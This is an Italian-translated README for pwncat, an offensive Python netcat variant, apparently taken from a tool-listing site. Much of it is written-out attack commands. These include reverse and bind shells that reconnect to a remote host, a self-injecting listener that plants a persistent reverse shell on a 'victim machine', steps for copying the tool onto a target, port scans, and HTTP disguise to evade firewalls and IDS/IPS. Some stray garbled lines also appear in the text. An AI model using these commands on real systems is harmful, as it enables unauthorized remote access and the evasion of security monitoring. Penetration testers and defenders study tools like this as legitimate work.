# pwncat [![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) [![Documentation Status](https://readthedocs.org/projects/pwn-cat/badge/?version=latest)](https://docs.pwncat.org/en/latest/?badge=latest) [![PyPI](https://img.shields.io/pypi/v/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Status](https://img.shields.io/pypi/status/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Format](https://img.shields.io/pypi/format/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Implementation](https://img.shields.io/pypi/implementation/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - License](https://img.shields.io/pypi/l/pwncat)](https://pypi.org/project/pwncat/) [![Build Status](https://github.com/cytopia/pwncat/workflows/linting/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=linting) [![Build Status](https://github.com/cytopia/pwncat/workflows/building/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=building) > > #### Netcat potenziato con bypass di Firewall, IDS/IPS, shell bind e reverse, shell auto-iniettante e magia di port forwarding - e completamente scriptabile con Python ([PSE](https://github.com/cytopia/pwncat/blob/master/pse)). - [docs.pwncat.org](https://docs.pwncat.org) >

Stile del codice

Test di integrazione ^[2]

Stile	Stato
Black
mypy ^[1]
pycodestyle
pydocstyle
pylint

_Python^OS	Linux	MacOS	Windows
2.7
3.5
3.6
3.7
3.8
pypy2
pypy3

> ^{[1] Copertura dei tipi mypy (completamente tipizzato: 94,00%)}
> ^{[2] Build falliti non indicano funzionalità danneggiate. I test di integrazione durano molte ore e si interrompono sporadicamente per vari motivi (timeout di rete, cancellazioni sconosciute delle GitHub Actions, ecc.): #735, #841}
> #### Motivazione Mai premuto accidentalmente Ctrl+c sulla tua reverse shell e l'hai persa per sempre? Mai aspettato all'infinito che il tuo client si riconnettesse, perché il Firewall non lo lasciava uscire? Mai avuto una perdita di connessione perché un IPS ha chiuso porte sospette? Mai avuto bisogno di un veloce port forwarding?
> **Questo strumento ti copre.** Oltre a ciò, le attuali funzionalità di `nc`, `ncat` o `socat` non soddisfacevano le mie esigenze e volevo anche avere un unico strumento che funzionasse su macchine vecchie e nuove (da qui la compatibilità Python 2+3). Ancora più importante, volevo averlo in un linguaggio che potessi capire e con cui poter fornire le mie personalizzazioni. (Aspettatevelo, le versioni binarie per Linux, MacOS e Windows arriveranno presto). ## :closed_book: Documentazione | Documentazione di pwncat | Link | |:-------------------------|:-----| | Documentazione ufficiale | [https://docs.pwncat.org](https://docs.pwncat.org) | | Sito ufficiale | [https://pwncat.org](https://pwncat.org) | | Documentazione API | [https://pwncat.org/pwncat.api.html](https://pwncat.org/pwncat.api.html) | | Pwncat Scripting Engine | [PSE](https://github.com/cytopia/pwncat/tree/master/pse) | ## :tada: Installazione Versione corrente: **0.1.2** #### Generico | [Pip](https://pypi.org/project/pwncat/) | |:-:| | [![](https://assets.kitploit.com/production/public/readmes/5318/0c875228bafdde548f4f29c339031d91581efdd0a8d34804ee8419498b73702a.png)](https://pypi.org/project/pwncat/) | | `pip install pwncat` | #### Specifico per sistema operativo | **[MacOS][mac_lnk]** | **[Arch Linux][arch_lnk]** | **[BlackArch][barch_lnk]** | **[CentOS][centos_lnk]**^[1] | |:----------------------------:|:----------------------------:|:----------------------------------:|:--------------------------------------------:| | [![mac_img]][mac_lnk] | [![arch_img]][arch_lnk] | [![barch_img]][barch_lnk] | [![centos_img]][centos_lnk] | | `brew install pwncat` | `yay -S pwncat` | `pacman -S pwncat` | `yum install pwncat` | | **[Fedora][fedora_lnk]** | **[Kali Linux][kali_lnk]** | **[NixOS][nix_lnk]**^[2] | **[Oracle Linux][oracle_lnk]**^[1] | | [![fedora_img]][fedora_lnk] | [![kali_img]][kali_lnk] | [![nix_img]][nix_lnk] | [![oracle_img]][oracle_lnk] | | `dnf install pwncat` | `apt install pwncat` | `nixos.pwncat` | `yum install pwncat` | | **[Pentoo][pentoo_lnk]** | **[Parrot OS][parrot_lnk]** | | [![pentoo_img]][pentoo_lnk] | [![parrot_img]][parrot_lnk] | | `net-analyzer/pwncat` | `apt install pwncat` | > ^{[1]: Repository Epel}
> ^{[2]: Instabile} [mac_lnk]: https://formulae.brew.sh/formula/pwncat#default [mac_img]: https://assets.kitploit.com/production/public/readmes/5318/d04b2bec38a09f4c3559127c1f989cbca158c763a91716864eb694e38da66a6c.png [arch_lnk]: https://aur.archlinux.org/packages/pwncat/ [arch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png [barch_lnk]: https://www.blackarch.org/tools.html [barch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png [centos_lnk]: https://pkgs.org/download/pwncat [centos_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/centos.png [fedora_lnk]: https://src.fedoraproject.org/rpms/pwncat [fedora_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/fedora.png [kali_lnk]: https://gitlab.com/kalilinux/packages/pwncat [kali_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/kali.png [nix_lnk]: https://search.nixos.org/packages?channel=unstable&query=pwncat [nix_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/nixos.png [oracle_lnk]: https://yum.oracle.com/repo/OracleLinux/OL8/developer/EPEL/x86_64/index.html [oracle_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/oracle-linux.png [parrot_lnk]: https://repology.org/project/pwncat/versions [parrot_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/parrot.png [pentoo_lnk]: https://repology.org/project/pwncat/versions [pentoo_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/pentoo.png ## :coffee: TL;DR Questa è solo una rapida panoramica per iniziare. Per tecniche più avanzate vedi **[:computer: Utilizzo](#computer-utilizzo)** o **[:bulb: Esempi](#bulb-esempi)**. ### Vedi in azione

Shell reverse indistruttibili - come generarle

Shell reverse indistruttibili - più shell

### Distribuisci sul target```bash # Copy base64 data to clipboard from where you have internet access curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64 # Paste it on the target machine echo "" | base64 -d > pwncat chmod +x pwncat ``` ### Inietta nel target```bash # [1] If you found a vulnerability on the target to start a very simple reverse shell, # such as via bash, php, perl, python, nc or similar, you can instruct your local # pwncat listener to use this connection to deploy itself on the target automatically # and start an additional unbreakable reverse shell back to you. pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445 ``` > ^{[1] [Leggi più in dettaglio sull'auto-iniezione](#self-injecting-reverse-shell)

### Evoca shell```bash
# Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k
```
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
```
```bash
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
```
### Scansione delle porte```bash
# [TCP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080
pwncat -z 10.0.0.1 1-65535
pwncat -z 10.0.0.1 1+1023

# [UDP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080 -u
pwncat -z 10.0.0.1 1-65535 -u
pwncat -z 10.0.0.1 1+1023 -u

# Use only IPv6 or IPv4
pwncat -z 10.0.0.1 1-65535 -4
pwncat -z 10.0.0.1 1-65535 -6 -u

# Add version detection
pwncat -z 10.0.0.1 1-65535 --banner
```
### Port forwarding locale `-L` (proxy in ascolto)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
```
```bash
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u
```
### Inoltro porta remota `-R` (proxy doppio client)```bash
# Connect to Remote MySQL server (remote port 3306) and then connect to another
# pwncat/netcat server on 10.0.0.1:4444 and bridge traffic
pwncat -R 10.0.0.1:4444 everythingcli.org 3306
```
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
```
> _{[SSH Tunnelling per divertimento e profitto :link:](https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/)}

> _{[`pwncat` esempio: Port forwarding magic](#port-forwarding-magic)_{## :star: Funzionalità

### A colpo d'occhio

`pwncat` ha molte funzionalità, di seguito è riportata solo una lista delle caratteristiche più notevoli.

| Funzionalità | Descrizione |
|----------------|-------------|
| [PSE](https://github.com/cytopia/pwncat/blob/master/pse) | Completamente scriptabile con Pwncat Scripting Engine per consentire ogni tipo di funzionalità avanzata in invio e ricezione |
| port scanning | Scansione porte TCP e UDP con supporto base per il rilevamento della versione |
| Self-injecting rshell | Modalità di auto-iniezione per distribuirsi e avviare automaticamente una reverse shell indistruttibile verso di te |
| Bind shell | Crea bind shell |
| Reverse shell | Crea reverse shell |
| Port Forward | Port forwarding locale e remoto (Server/Client proxy) |
| Ctrl+c | Reverse shell può riconnettersi se premi accidentalmente Ctrl+c |
| Detect Egress | Scansiona e segnala le porte egress aperte sul target (port hopping) |
| Evade FW | Elude i firewall egress tramite round-robin sulle porte in uscita (port hopping) |
| Evade IPS | Elude i sistemi di prevenzione delle intrusioni (IPS) essendo in grado di utilizzare round-robin sulle porte in uscita in caso di interruzioni di connessione (port hopping) |
| UDP rev shell | Provatelo con il tradizionale `netcat` |
| Stateful UDP | Fase di connessione stateful per la modalità client UDP |
| TCP / UDP | Supporto completo TCP e UDP |
| IPv4 / IPv6 | Supporto dual o single stack IPv4 e IPv6 |
| Python 2+3 | Funziona con Python 2, Python 3, pypy2 e pypy3 |
| Cross OS | Funziona su Linux, MacOS e Windows purché Python sia disponibile |
| Compatibilità | Usa `netcat`, `ncat` o `socat` come client o server insieme a `pwncat` |
| Portabile | Singolo file che utilizza solo pacchetti core - nessuna dipendenza esterna richiesta. |

### Matrice di confronto delle funzionalità

| | pwncat | netcat | ncat | socat |
|---------------------|----------|--------|-------|-------|
| Scripting engine | ✔ Python | :x: | ✔ Lua | :x: |
| | | | | |
| IP ToS | ✔ | ✔ | :x: | ✔ |
| IPv4 | ✔ | ✔ | ✔ | ✔ |
| IPv6 | ✔ | ✔ | ✔ | ✔ |
| Unix domain sockets | :x: | ✔ | ✔ | ✔ |
| Linux vsock | :x: | :x: | ✔ | :x: |
| Socket source bind | ✔ | ✔ | ✔ | ✔ |
| | | | | |
| TCP | ✔ | ✔ | ✔ | ✔ |
| UDP | ✔ | ✔ | ✔ | ✔ |
| SCTP | :x: | :x: | ✔ | ✔ |
| SSL | :x: | :x: | ✔ | ✔ |
| HTTP | ✔ | :x: | :x: | :x: |
| HTTPS | * | :x: | :x: | :x: |
| | | | | |
| Telnet negotiation | :x: | ✔ | ✔ | :x: |
| Proxy support | :x: | ✔ | ✔ | ✔ |
| Local port forward | ✔ | :x: | :x: | ✔ |
| Remote port forward | ✔ | :x: | :x: | :x: |
| | | | | |
| Inbound port scan | ✔ | ✔ | ✔ | :x: |
| Outbound port scan | ✔ | :x: | :x: | :x: |
| Version detection | ✔ | :x: | :x: | :x: |
| | | | | |
| Chat | ✔ | ✔ | ✔ | ✔ |
| Command execution | ✔ | ✔ | ✔ | ✔ |
| Hex dump | * | ✔ | ✔ | ✔ |
| Broker | :x: | :x: | ✔ | :x: |
| Simultaneous conns | :x: | :x: | ✔ | ✔ |
| Allow/deny | :x: | :x: | ✔ | ✔ |
| Re-accept | ✔ | ✔ | ✔ | ✔ |
| Self-injecting | ✔ | :x: | :x: | :x: |
| UDP reverse shell | ✔ | :x: | :x: | :x: |
| Respawning client | ✔ | :x: | :x: | :x: |
| Port hopping | ✔ | :x: | :x: | :x: |
| Emergency shutdown | ✔ | :x: | :x: | :x: |

> ^{`*` La funzionalità è attualmente in sviluppo.}

## :cop: Comportamento

Come l'implementazione originale di `netcat`, quando si utilizza **TCP**, `pwncat`
(in modalità client e ascolto) uscirà automaticamente se la connessione di rete è stata terminata,
propriamente o impropriamente.
Nel caso in cui il peer remoto non termini la connessione, o in modalità **UDP**, `netcat` e `pwncat` rimarranno aperti. Il comportamento differisce leggermente quando STDIN viene chiuso.

1. `netcat`: Se STDIN è chiuso, ma la connessione rimane aperta, `netcat` rimarrà aperto
2. `pwncat`: Se STDIN è chiuso, ma la connessione rimane aperta, `pwncat` si chiuderà

Puoi emulare il comportamento di `netcat` con l'argomento da riga di comando `--no-shutdown`.

Dai un'occhiata ai seguenti comandi per comprendere meglio questo comportamento:```bash
# [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

# [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
```
No content provided. No output.```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80
```
INPUT:```bash
# [TCP]
# Both instances will quit after successful file transfer.
pwncat -l 4444 > output.txt
pwncat localhost 4444 < input.txt

# [TCP]
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will quit as well.
pwncat -l 4444 --no-shutdown > output.txt
pwncat localhost 4444 --no-shutdown < input.txt
```
Si avvisa che non è affidabile inviare file tramite UDP```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt
```
Ci sono molti modi per modificare questo comportamento predefinito. Dai un'occhiata alla sezione [utilizzo](#computer-usage) per impostazioni più avanzate.

## :computer: Utilizzo

### Tasti

| Comportamento | ![Alt][Linux] | ![Alt][MacOS] | ![Alt][Windows] |
|----------------|---------------|---------------|-----------------|
| Esci (SIGINT) | Ctrl+c | Ctrl+c | Ctrl+c |
| Esci (SIGQUIT) | Ctrl+\\ | ? | ? |
| Esci (SIGQUIT) | Ctrl+4 | ? | ? |
| Esci STDIN^[1] | Ctrl+d | Ctrl+d | Ctrl+z e Ctrl+Invio |
| Invia (NL) | Ctrl+j | ? | ? |
| Invia (EOL) | Ctrl+m | ? | ? |
| Invia (EOL) | Invio | Invio | Invio |

> ^{[1] Funziona solo quando non si usano `--no-shutdown` e `--keep`. Quindi chiuderà il suo socket per l'invio, segnalando la fine remota e EOF sul suo socket.}

[Linux]: https://assets.kitploit.com/production/public/readmes/5318/d2e2afd062404c2aa9625ce0ebef43894ed95ad34ab7cc53ab3029ce9def5c70.png "Linux"
[MacOS]: https://assets.kitploit.com/production/public/readmes/5318/d04b2bec38a09f4c3559127c1f989cbca158c763a91716864eb694e38da66a6c.png "MacOS"
[Windows]: https://assets.kitploit.com/production/public/readmes/5318/5327856a955b22c1626dbfba45e67bf4f8054788302599510a7ee5255257778c.png "Windows"

### Argomenti della riga di comando

Digita `pwncat -h` o clicca qui sotto per vedere tutte le opzioni disponibili.

Clicca qui per espandere l'utilizzo```
usage: pwncat [options] hostname port
pwncat [options] -l [hostname] port
pwncat [options] -z hostname port
pwncat [options] -L [addr:]port hostname port
pwncat [options] -R addr:port hostname port
pwncat -V, --version
pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.

positional arguments:
hostname Address to listen, forward, scan or connect to.

port [All modes]
Single port to listen, forward or connect to.
[Zero-I/O mode]
Specify multiple ports to scan:
Via list: 4444,4445,4446
Via range: 4444-4446
Via incr: 4444+2

mode arguments:
-l, --listen [Listen mode]:
Start a server and listen for incoming connections.
If using TCP and a connected client disconnects or the
connection is interrupted otherwise, the server will
quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
Used for port scanning.
See --banner for version detection.

-L [addr:]port, --local [addr:]port
[Local forward mode]:
This mode will start a server and a client internally.
The internal server will listen locally on specified
addr/port (given by --local [addr:]port).
The server will then forward traffic to the internal
client which connects to another server specified by
hostname/port given via positional arguments.
(I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port
[Remote forward mode]:
This mode will start two clients internally. One is
connecting to the target and one is connecting to
another pwncat/netcat server you have started some-
where. Once connected, it will then proxy traffic
between you and the target.
This mode should be applied on machines that block
incoming traffic and only allow outbound.
The connection to your listening server is given by
-R/--remote addr:port and the connection to the
target machine via the positional arguments.

optional arguments:
-e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing
line endings for input and outout accordingly. Specify
'no' to completely remove any line feeds. By default
it will not replace anything and takes what is entered
(usually CRLF on Windows, LF on Linux and some times
CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send
everything in one chunk.

--no-shutdown Do not shutdown into half-duplex mode.
If this option is passed, pwncat won't invoke shutdown
on a socket after seeing EOF on stdin. This is provided
for backward-compatibility with OpenBSD netcat, which
exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts
applied to the current socket connection. Valid
parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
Note, you must at least be in INFO verbose mode in order
to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'.
In 'auto' mode, color is displayed as long as the output
goes to a terminal. If it is piped into a file, color
will automatically be disabled. This mode also disables
color on Windows by default. (default: auto)

--safe-word str All modes:
If pwncat is started with this argument, it will shut
down as soon as it receives the specified string. The
--keep-open (server) or --reconn (client) options will
be ignored and it won't listen again or reconnect to you.
Use a very unique string to not have it shut down
accidentally by other input.

protocol arguments:
-4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection.
Valid values are the tokens 'mincost', 'lowcost',
'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP):
Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP):
Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]]
Add HTTP headers to your request when using --http(s).

command & control arguments:
--self-inject cmd:host:port[s]
Listen mode (TCP only):
If you are about to inject a reverse shell onto the
victim machine (via php, bash, nc, ncat or similar),
start your listening server with this argument.
This will then (as soon as the reverse shell connects)
automatically deploy and background-run an unbreakable
pwncat reverse shell onto the victim machine which then

---

[Read more](https://github.com/cytopia/pwncat)}}}

pwncat

Più Popolari

pwncat

Netcat potenziato con bypass di Firewall, IDS/IPS, shell bind e reverse, shell auto-iniettante e magia di port forwarding - e completamente scriptabile con Python (PSE). - docs.pwncat.org